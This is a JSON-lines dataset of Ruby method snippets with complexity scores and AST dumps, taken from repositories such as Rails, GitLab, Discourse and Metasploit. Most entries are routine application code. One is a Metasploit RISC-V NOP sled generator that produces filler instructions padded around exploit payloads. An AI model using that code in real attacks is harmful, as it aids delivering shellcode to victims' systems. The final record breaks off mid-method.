{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_travel_test.rb","start_line":512,"raw_source":"def test_time_helper_unfreeze_time\n    assert_equal method(:travel_back), method(:unfreeze_time)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_time_helper_unfreeze_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"travel_back\"]}]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"unfreeze_time\"]}]}]}]}","id":"d05cf0b0-990b-4a28-b63f-069dd7b36a4b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/nops/riscv64le/simple.rb","start_line":22,"raw_source":"def generate_sled(length, opts)\n    badchars = opts['BadChars'] || ''\n    random = opts['Random'] || datastore['RandomNops']\n\n    nops = [\n      # Safe NULL-free nops using temporary registers (t0 - t6)\n      [0x400282b3].pack('V'),    # sub t0, t0, 0\n      [0x40030333].pack('V'),    # sub t1, t1, 0\n      [0x400383b3].pack('V'),    # sub t2, t2, 0\n      [0x400e0e33].pack('V'),    # sub t3, t3, 0\n      [0x400e8eb3].pack('V'),    # sub t4, t4, 0\n      [0x400f0f33].pack('V'),    # sub t5, t5, 0\n      [0x400f8fb3].pack('V'),    # sub t6, t6, 0\n\n      # Safe NULL-free nops using zero register (x0)\n      [0x01102013].pack('V'),    # slti x0, x0, 0x11\n      [0x7ff02013].pack('V'),    # slti x0, x0, 0x7ff\n\n      [0x01103013].pack('V'),    # sltiu x0, x0, 0x11\n      [0x7ff03013].pack('V'),    # sltiu x0, x0, 0x7ff\n\n      [0x01105013].pack('V'),    # srli x0, x0, 0x11\n      [0x03f05013].pack('V'),    # srli x0, x0, 0x3f\n\n      [0x01101013].pack('V'),    # slli x0, x0, 0x11\n      [0x03f01013].pack('V'),    # slli x0, x0, 0x3f\n\n      [0x41105013].pack('V'),    # srai x0, x0, 0x11\n      [0x43f05013].pack('V'),    # srai x0, x0, 0x3f\n\n      [0x01106013].pack('V'),    # ori x0, x0, 0x11\n      [0x7ff06013].pack('V'),    # ori x0, x0, 0x7ff\n\n      [0x01104013].pack('V'),    # xori x0, x0, 0x11\n      [0x7ff04013].pack('V'),    # xori x0, x0, 0x7ff\n\n      [0x01107013].pack('V'),    # andi x0, x0, 0x11\n      [0x7ff07013].pack('V'),    # andi x0, x0, 0x7ff\n\n      [0x10101037].pack('V'),    # lui x0, 0x10101\n      [0xfffff037].pack('V'),    # lui x0, 0xfffff\n\n      # Safe NULL-free numeric nops using zero register (x0)\n      # lui x0, 0x????3037\n      \"\\x37\\x30\" + Rex::Text.rand_text_numeric(2, badchars),\n\n      # Safe NULL-free alphanumeric nops using zero register (x0)\n      # lui x0, 0x????[357]037\n      \"\\x37\\x30\" + Rex::Text.rand_text_alphanumeric(2, badchars),\n      \"\\x37\\x50\" + Rex::Text.rand_text_alphanumeric(2, badchars),\n      \"\\x37\\x70\" + Rex::Text.rand_text_alphanumeric(2, badchars),\n\n      # Safe NULL-free english nops using zero register (x0)\n      # lui x0, 0x????[34567]037\n      \"\\x37\\x30\" + Rex::Text.rand_text_english(2, badchars),\n      \"\\x37\\x40\" + Rex::Text.rand_text_english(2, badchars),\n      \"\\x37\\x50\" + Rex::Text.rand_text_english(2, badchars),\n      \"\\x37\\x60\" + Rex::Text.rand_text_english(2, badchars),\n      \"\\x37\\x70\" + Rex::Text.rand_text_english(2, badchars),\n    ]\n\n    # Remove nops containing BadChars\n    nops.delete_if do |nop|\n      nop.bytes.any? { |byte| badchars.force_encoding('BINARY').include?(byte.chr) }\n    end\n\n    # Give up if no safe nops are available\n    return if nops.empty?\n\n    # Use random instructions for all NOPs\n    if random\n      sled = ''\n      (length / 4).times do\n        sled << nops.sample\n      end\n      return sled\n    end\n\n    # Use a single instruction for all NOPs\n    return (nops.sample * (length / 4))\n  end","complexity_score":89.5,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_sled\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"length\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"badchars\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BadChars\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"random\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Random\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RandomNops\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"nops\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1073906355]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1073939251]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1073972147]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1074662963]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1074695859]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1074728755]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1074761651]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[17834003]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2146443283]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[17838099]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2146447379]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[17846291]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[66080787]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[17829907]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[66064403]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1091588115]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1139822611]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[17850387]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2146459667]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[17842195]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2146451475]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[17854483]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2146463763]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[269488183]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[4294963255]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"70\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"70\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"7P\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"7p\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"70\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_english\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"7@\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_english\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"7P\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_english\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"7`\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_english\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"7p\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_english\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"badchars\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nops\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nop\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nop\"]},\"bytes\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"byte\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badchars\"]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"BINARY\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"byte\"]},\"chr\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nops\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sled\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"/\",{\"type\":\"int\",\"children\":[4]}]}]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sled\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nops\"]},\"sample\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sled\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nops\"]},\"sample\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"/\",{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}]}]}","id":"c1359b9c-56e8-452a-b69c-b8b988c6ff9d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/patches/attachment_patch.rb","start_line":41,"raw_source":"def content_disposition(include_filename: true)\n      return super unless ifc_file? && include_filename\n\n      ifc_content_disposition\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"content_disposition\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"include_filename\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ifc_file?\"]},{\"type\":\"lvar\",\"children\":[\"include_filename\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"ifc_content_disposition\"]}]}]}","id":"f86eed75-aa54-4d65-b3d3-31c6b94cb75c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/proxy/socks5/server_client.rb","start_line":104,"raw_source":"def initialize(server, sock, opts={})\n      @server        = server\n      @lsock         = sock\n      @opts          = opts\n      @rsock         = nil\n      @client_thread = nil\n      @mutex         = ::Mutex.new\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"server\"]},{\"type\":\"arg\",\"children\":[\"sock\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@server\",{\"type\":\"lvar\",\"children\":[\"server\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@lsock\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@opts\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@rsock\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@client_thread\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mutex\"]},\"new\"]}]}]}]}","id":"e4e501bb-90a2-44d5-9101-b31642bb565e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/api.rb","start_line":759,"raw_source":"def find_job(jid)\n      Sidekiq.redis do |conn|\n        conn.zscan(name, match: \"*#{jid}*\", count: 100) do |entry, score|\n          job = Sidekiq.load_json(entry)\n          matched = job[\"jid\"] == jid\n          return SortedEntry.new(self, score, entry) if matched\n        end\n      end\n      nil\n    end","complexity_score":15.23,"ast_json":"{\"type\":\"def\",\"children\":[\"find_job\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"jid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"zscan\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jid\"]}]},{\"type\":\"str\",\"children\":[\"*\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]},{\"type\":\"arg\",\"children\":[\"score\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"job\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"load_json\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"matched\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"jid\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"jid\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SortedEntry\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"score\"]},{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]},null]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"f7358049-ca42-4823-b127-632bba27c684"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-subscriptions/app/controllers/discourse_subscriptions/admin/products_controller.rb","start_line":56,"raw_source":"def update\n        begin\n          product = ::Stripe::Product.update(params[:id], product_params)\n\n          render_json_dump product\n        rescue ::Stripe::InvalidRequestError => e\n          render_json_error e.message\n        end\n      end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"product\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Stripe\"]},\"Product\"]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"product_params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_json_dump\",{\"type\":\"lvar\",\"children\":[\"product\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Stripe\"]},\"InvalidRequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}]}","id":"69f55e58-8006-4d7a-8c9b-8d08d244dc1e"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/notion/callbacks_controller.rb","start_line":33,"raw_source":"def notion_redirect_uri\n    \"#{ENV.fetch('FRONTEND_URL', nil)}/app/accounts/#{account.id}/settings/integrations/notion\"\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"notion_redirect_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"FRONTEND_URL\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"str\",\"children\":[\"/app/accounts/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/settings/integrations/notion\"]}]}]}","id":"13627115-49b4-464f-aef2-e7f4e65588dd"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_ldap.rb","start_line":468,"raw_source":"def self.using_ldap?\n    ::Settings.authentication.mode.include?('ldap').tap do |should_warn|\n      $audit_log.warn(\"MiqLdap is a deprecated feature. Please convert to using external authentication.\") if should_warn\n    end\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"using_ldap?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"authentication\"]},\"mode\"]},\"include?\",{\"type\":\"str\",\"children\":[\"ldap\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"should_warn\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"should_warn\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$audit_log\"]},\"warn\",{\"type\":\"str\",\"children\":[\"MiqLdap is a deprecated feature. Please convert to using external authentication.\"]}]},null]}]}]}","id":"a40c0316-c103-4bcd-8e2c-646f199de8ed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/branch_rules/update_service.rb","start_line":79,"raw_source":"def access_levels_attributes(access_levels, access_levels_params)\n      attributes = access_levels.filter_map do |access_level|\n        next if remove_matched_access_level_params!(access_levels_params, access_level)\n\n        # access levels that do not have matching params are marked for deletion\n        { id: access_level.id, _destroy: true }\n      end\n\n      # concat the remaining access_levels_params that don't match any existing\n      # access_levels\n      attributes.concat(access_levels_params)\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"access_levels_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"access_levels\"]},{\"type\":\"arg\",\"children\":[\"access_levels_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_levels\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"access_level\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_matched_access_level_params!\",{\"type\":\"lvar\",\"children\":[\"access_levels_params\"]},{\"type\":\"lvar\",\"children\":[\"access_level\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_level\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"_destroy\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"access_levels_params\"]}]}]}]}","id":"db279083-6c00-473e-9cfd-a0a1c99ab291"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/custom_emoji_filter.rb","start_line":58,"raw_source":"def resource_parent\n        context[:project] || context[:group]\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_parent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]}]}]}","id":"b42e5123-8523-4809-9b86-9291a8e90784"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage_data/topology.rb","start_line":257,"raw_source":"def normalize_localhost_address(instance)\n        ip_addr = IPAddr.new(instance)\n        is_local_ip = ip_addr.loopback? || ip_addr.to_i == 0\n\n        is_local_ip ? 'localhost' : instance\n      rescue IPAddr::InvalidAddressError\n        # This most likely means it was a host name, not an IP address\n        instance\n      end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_localhost_address\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ip_addr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"instance\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"is_local_ip\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip_addr\"]},\"loopback?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip_addr\"]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_local_ip\"]},{\"type\":\"str\",\"children\":[\"localhost\"]},{\"type\":\"lvar\",\"children\":[\"instance\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},\"InvalidAddressError\"]}]},null,{\"type\":\"lvar\",\"children\":[\"instance\"]}]},null]}]}","id":"8ea8b7cb-5e05-4149-bcd4-f89a826f2ec7"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/stack_exchange_onebox.rb","start_line":48,"raw_source":"def data\n        return @data if defined?(@data)\n\n        result = raw[\"items\"][0]\n        if result\n          result[\"creation_date\"] = Time.at(result[\"creation_date\"].to_i).strftime(\n            \"%I:%M%p - %d %b %y %Z\",\n          )\n\n          result[\"tags\"] = result[\"tags\"].take(4).join(\", \")\n          result[\"is_answer\"] = result.key?(\"answer_id\")\n          result[\"is_question\"] = result.key?(\"question_id\")\n        end\n\n        @data = result\n      